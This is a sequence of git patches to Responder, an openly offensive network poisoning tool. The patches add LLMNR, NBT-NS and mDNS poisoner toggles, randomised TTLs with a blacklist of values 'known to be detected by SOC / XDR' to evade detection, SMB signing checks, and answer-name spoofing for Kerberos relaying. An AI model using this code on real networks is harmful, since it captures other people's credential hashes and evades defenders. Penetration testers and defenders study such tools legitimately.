LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 0be2e83..b1049bc 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,7 @@ class MDNS(BaseRequestHandler): }) elif MDNSType == True: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index f574a98..446dc06 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -44,7 +44,7 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '1', }) else: # Poisoning Mode - Buffer1 = NBT_Ans() + Buffer1 = NBT_Ans(TTL=settings.Config.TTL) Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/settings.py b/settings.py index 6225de2..7c29f13 100644 --- a/settings.py +++ b/settings.py @@ -168,6 +168,18 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + # TTL blacklist. Known to be detected by SOC / XDR + TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] + # Random TTL + if options.TTL is None: + TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x')) + if TTL in TTL_blacklist: + TTL = int.from_bytes(TTL, "big")+1 + TTL = int.to_bytes(TTL, 4) + self.TTL = TTL.decode('utf-8') + else: + self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8') + #Do we have IPv6 for real? self.IPv6 = utils.Probe_IPv6_socket() diff --git a/utils.py b/utils.py index 0f7fdde..b216ca1 100644 --- a/utils.py +++ b/utils.py @@ -559,6 +559,7 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) print('') print(color("[+] ", 2, 1) + "Current Session Variables:") From 807bd57a96337ab77f2fff50729a6eb229e5dc37 Mon Sep 17 00:00:00 2001 From: f3rn0s Date: Tue, 30 Apr 2024 15:52:04 +1000 Subject: [PATCH 095/114] Add options for poisoners --- Responder.conf | 45 +++++++++++++++++++++++++-------------------- Responder.py | 19 ++++++++++++------- settings.py | 7 ++++++- 3 files changed, 43 insertions(+), 28 deletions(-) diff --git a/Responder.conf b/Responder.conf index c157acf..180e94f 100755 --- a/Responder.conf +++ b/Responder.conf @@ -1,24 +1,29 @@ [Responder Core] -; Servers to start -SQL = On -SMB = On -RDP = On -Kerberos = On -FTP = On -POP = On -SMTP = On -IMAP = On -HTTP = On -HTTPS = On -DNS = On -LDAP = On -DCERPC = On -WINRM = On -SNMP = Off -MQTT = On +; Poisoners to start +MDNS = On +LLMNR = On +NBTNS = On -; Custom challenge. +; Servers to start +SQL = On +SMB = On +RDP = On +Kerberos = On +FTP = On +POP = On +SMTP = On +IMAP = On +HTTP = On +HTTPS = On +DNS = On +LDAP = On +DCERPC = On +WINRM = On +SNMP = Off +MQTT = On + +; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = Random @@ -65,8 +70,8 @@ AutoIgnoreAfterSuccess = Off ; This may break file serving and is useful only for hash capture CaptureMultipleCredentials = On -; If set to On, we will write to file all hashes captured from the same host. -; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, +; If set to On, we will write to file all hashes captured from the same host. +; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, ; domain\popo, domain\zozo. Recommended value: On, capture everything. CaptureMultipleHashFromSameHost = On diff --git a/Responder.py b/Responder.py index 8875430..545a8e3 100755 --- a/Responder.py +++ b/Responder.py @@ -294,16 +294,21 @@ def main(): if (sys.version_info < (3, 0)): print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") - + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners - from poisoners.LLMNR import LLMNR - from poisoners.NBTNS import NBTNS - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + if settings.Config.LLMNR_On_Off: + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + + if settings.Config.NBTNS_On_Off: + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + + if settings.Config.MDNS_On_Off: + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. diff --git a/settings.py b/settings.py index 6225de2..fdf15aa 100644 --- a/settings.py +++ b/settings.py @@ -114,7 +114,12 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + + # Poisoners + self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR')) + self.NBNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) + self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS')) + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) From 413bc8be3169d215f7d5f251a78c8d8404e52f61 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:16:36 -0300 Subject: [PATCH 096/114] Fixed issue with smb signing detection --- tools/RunFinger.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 317f97b..d291fa7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data): def SMB2SigningMandatory(data): global SMB2signing - if data[70:71] == b"\x03": + if data[70:71] == "\x03": SMB2signing = "True" else: SMB2signing = "False" @@ -123,7 +123,7 @@ def WorkstationFingerPrint(data): b"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x02" :"Windows 8/Server 2012", b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)", }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): @@ -201,7 +201,7 @@ def IsDCVuln(t, host): ##################### def IsSigningEnabled(data): - if data[39:40] == b"\x0f": + if data[39:40] == "\x0f": return 'True' else: return 'False' @@ -251,7 +251,6 @@ def DomainGrab(Host): buffer0 = longueur(packet0)+packet0 s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - s.close() if data[8:10] == b'\x72\x00': return GetHostnameAndDomainName(data) except IOError as e: @@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host): if not data: break except Exception: - pass + return False else: return False From ccbcd1736f4ddfb91bece10b060cc0be0bb0cdd1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:24:06 -0300 Subject: [PATCH 097/114] minox typo fix --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 801b6ac..ea895f3 100644 --- a/settings.py +++ b/settings.py @@ -117,7 +117,7 @@ class Settings: # Poisoners self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR')) - self.NBNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) + self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS')) # Servers From 64cf4d98738599d1b87bc541dd2273ccd5aa4711 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:56:02 -0300 Subject: [PATCH 098/114] minor fix --- tools/RunFingerPackets.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index 651849b..829c542 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -1,4 +1,5 @@ -import random, struct, sys +import random, struct, sys, os +from os import urandom from socket import * from time import sleep from odict import OrderedDict @@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet): ("SecurityMode", "\x01\x00"), ("Reserved","\x00\x00"), ("Capabilities","\x00\x00\x00\x00"), - ("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"), + ("ClientGUID", urandom(16).decode('latin-1')), ("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"), ("Dialect1","\x02\x02"), ("Dialect2","\x10\x02"), From d715f2de219bb1f528d9993025c779f4e5c18f8c Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 May 2024 09:41:44 -0300 Subject: [PATCH 099/114] Updated Changelog --- CHANGELOG.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e01edf2..bbc5d88 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,18 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. [Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD) +### Added + +- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s). +- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf). +- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx). + +### Fixed + +- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx). +- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx). +- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx). + ### Removed - removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx). From 116a056e7d06bf216b53b588829c7c003b889e3b Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 May 2024 10:14:11 -0300 Subject: [PATCH 100/114] Listed all contributors over time. Thanks for your contribution to this project! --- Contributors | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 Contributors diff --git a/Contributors b/Contributors new file mode 100644 index 0000000..13dbafd --- /dev/null +++ b/Contributors @@ -0,0 +1,76 @@ +Commits | user +15 @jrmdev +7 @nobbd +6 @ValdikSS +6 @also-here +5 @HexPandaa +5 @exploide +5 @jvoisin +4 @Clément Notin +4 @Shutdown +4 @Yannick Méheut +3 @Hank Leininger +3 @brightio +3 @byt3bl33d3r +3 @myst404 +3 @skelsec +2 @Alexandre ZANNI +2 @Crypt0-M3lon +2 @Laban Sköllermark +2 @Matthew Daley +2 @Pixis +2 @Rob Fuller +2 @ThePirateWhoSmellsOfSunflowers +2 @Vincent Yiu +2 @requin +1 @Andrii Nechytailov +1 @Antonio Herraiz +1 @Chris Maddalena +1 @Euan +1 @Garret Picchioni +1 @Gifts +1 @Gustaf Blomqvist +1 @Hubert Seiwert +1 @IMcPwn +1 @Jared Haight +1 @Jim Shaver +1 @Khiem Doan +1 @Leon Jacobs +1 @Lionel PRAT +1 @Markus +1 @MatToufoutu +1 @Matt +1 @Matt Andreko +1 @Matt Kelly +1 @Nikos Vassakis +1 @OJ +1 @Paul A +1 @Randy Ramos +1 @SAERXCIT +1 @Sagar-Jangam +1 @Sans23 +1 @Sophie Brun +1 @Stephen Shkardoon +1 @Syntricks +1 @Timon Hackenjos +1 @Tom Aviv +1 @Ziga P +1 @cweedon +1 @deltronzero +1 @f3rn0s +1 @jackassplus +1 @jb +1 @kevintellier +1 @kitchung +1 @klemou +1 @lanjelot +1 @nickyb +1 @nodauf +1 @nop5L3D +1 @pixis +1 @ravenium +1 @soa +1 @steven +1 @thejosko +1 @trustedsec + From 4947ae6e52df031b591049f8e2e904f2454bd96c Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 14 May 2024 11:02:35 -0300 Subject: [PATCH 101/114] Added default mode for TTL option --- Responder.py | 2 +- packets.py | 10 +++++----- poisoners/LLMNR.py | 12 ++++++++++-- poisoners/MDNS.py | 14 +++++++++++--- poisoners/NBTNS.py | 5 ++++- settings.py | 6 +++++- utils.py | 5 ++++- 7 files changed, 40 insertions(+), 14 deletions(-) diff --git a/Responder.py b/Responder.py index 49fab8e..bbd3c7a 100755 --- a/Responder.py +++ b/Responder.py @@ -45,7 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") -parser.add_option('-t','--ttl', action="store", help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None) +parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/packets.py b/packets.py index 3ec9dec..bb3134e 100644 --- a/packets.py +++ b/packets.py @@ -52,7 +52,7 @@ class NBT_Ans(Packet): ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), + ("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior) ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), @@ -263,7 +263,7 @@ class LLMNR_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x1c"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior). ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -316,7 +316,7 @@ class MDNS_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -338,7 +338,7 @@ class MDNS6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x1c"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index e130273..36fe7c3 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -76,7 +76,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == True: # Poisoning Mode - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + else: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: @@ -90,7 +94,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == 'IPv6' and Have_IPv6: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + else: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index b1049bc..3ef0c7c 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,11 @@ class MDNS(BaseRequestHandler): }) elif MDNSType == True: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: @@ -85,9 +89,13 @@ class MDNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - elif MDNSType == 'IPv6'and Have_IPv6: # Poisoning Mode + elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 446dc06..ff3a1cd 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '1', }) else: # Poisoning Mode - Buffer1 = NBT_Ans(TTL=settings.Config.TTL) + if settings.Config.TTL == None: + Buffer1 = NBT_Ans() + else: + Buffer1 = NBT_Ans(TTL=settings.Config.TTL) Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/settings.py b/settings.py index ea895f3..bdca9c2 100644 --- a/settings.py +++ b/settings.py @@ -175,8 +175,12 @@ class Settings: # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] - # Random TTL + # Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py) if options.TTL is None: + self.TTL = None + + # Random TTL + elif options.TTL.upper() == "RANDOM": TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x')) if TTL in TTL_blacklist: TTL = int.from_bytes(TTL, "big")+1 diff --git a/utils.py b/utils.py index b216ca1..8eb15ca 100644 --- a/utils.py +++ b/utils.py @@ -559,7 +559,10 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) - print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) + if settings.Config.TTL == None: + print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1)) + else: + print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) print('') print(color("[+] ", 2, 1) + "Current Session Variables:") From 990df258a68bb39bf4c63852934941765b9cd500 Mon Sep 17 00:00:00 2001 From: brightio Date: Tue, 10 Sep 2024 16:49:31 +0200 Subject: [PATCH 102/114] StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status --- utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/utils.py b/utils.py index 8eb15ca..fe2a56f 100644 --- a/utils.py +++ b/utils.py @@ -494,9 +494,9 @@ def StartupMessage(): print('') print(color("[+] ", 2, 1) + "Poisoners:") - print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) + print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled)) + print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled)) print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') From e918fe01c617e482d8b24525db581c403104ab28 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 24 Sep 2024 11:06:50 -0300 Subject: [PATCH 103/114] added option to disable a TLD due to windows 11 infinite loop with _dosvc --- Responder.conf | 6 +++++- settings.py | 3 ++- utils.py | 7 ++++++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/Responder.conf b/Responder.conf index 180e94f..a9eac42 100755 --- a/Responder.conf +++ b/Responder.conf @@ -58,9 +58,13 @@ RespondToName = DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) -; Example: DontRespondTo = NAC, IPS, IDS +; Example: DontRespondToName = NAC, IPS, IDS DontRespondToName = ISATAP +; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD. +; Example: DontRespondToTLD = _dosvc, _blasvc, etc +DontRespondToTLD = _dosvc + ; If set to On, we will stop answering further requests from a host ; if a hash has been previously captured for this host. AutoIgnoreAfterSuccess = Off diff --git a/settings.py b/settings.py index bdca9c2..ee96190 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.4.0' +__version__ = 'Responder 3.1.5.0' class Settings: @@ -284,6 +284,7 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) + self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')])) self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) #add a .local to all provided DontRespondToName self.MDNSTLD = ['.LOCAL'] diff --git a/utils.py b/utils.py index fe2a56f..38a72b1 100644 --- a/utils.py +++ b/utils.py @@ -122,7 +122,10 @@ def RespondToThisIP(ClientIp): return False def RespondToThisName(Name): - if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: + + if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]: + return False + elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: return False elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: if Name.upper() not in settings.Config.DontRespondToName: @@ -559,6 +562,8 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + if len(settings.Config.DontRespondToTLD): + print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1)) if settings.Config.TTL == None: print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1)) else: From d3dd37a324341342a891d776d73a3e07a1c77dc8 Mon Sep 17 00:00:00 2001 From: User Date: Thu, 23 Jan 2025 14:35:41 -0800 Subject: [PATCH 104/114] Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose --- README.md | 15 ++++++++++++--- Responder.py | 1 + poisoners/LLMNR.py | 22 ++++++++++++++++------ settings.py | 1 + 4 files changed, 30 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 7ee2a49..731cbaa 100755 --- a/README.md +++ b/README.md @@ -157,15 +157,24 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. Default: False + ON. This option is highly effective. Default: False + -Q, --quiet Tell Responder to be quiet, disables a bunch of + printing from the poisoners. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers. + Value in hex (30 seconds = 1e). use '-t random' for + random TTL + -N ANSWERNAME, --AnswerName=ANSWERNAME + Specifies the canonical name returned by the LLMNR + poisoner in tits Answer section. By default, the + answer's canonical name is the same as the query. + Changing this value is mainly useful when attempting + to perform Kebreros relaying over HTTP. - - ## Donation ## You can contribute to this project by donating to the following $XLM (Stellar Lumens) address: diff --git a/Responder.py b/Responder.py index bbd3c7a..bfe13cf 100755 --- a/Responder.py +++ b/Responder.py @@ -46,6 +46,7 @@ parser.add_option('--lm', action="store_true", help="Force LM h parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) +parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 36fe7c3..25e020e 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + if settings.Config.AnswerName is None: + AnswerName = Name + else: + AnswerName = settings.Config.AnswerName LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host @@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == True: # Poisoning Mode #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s 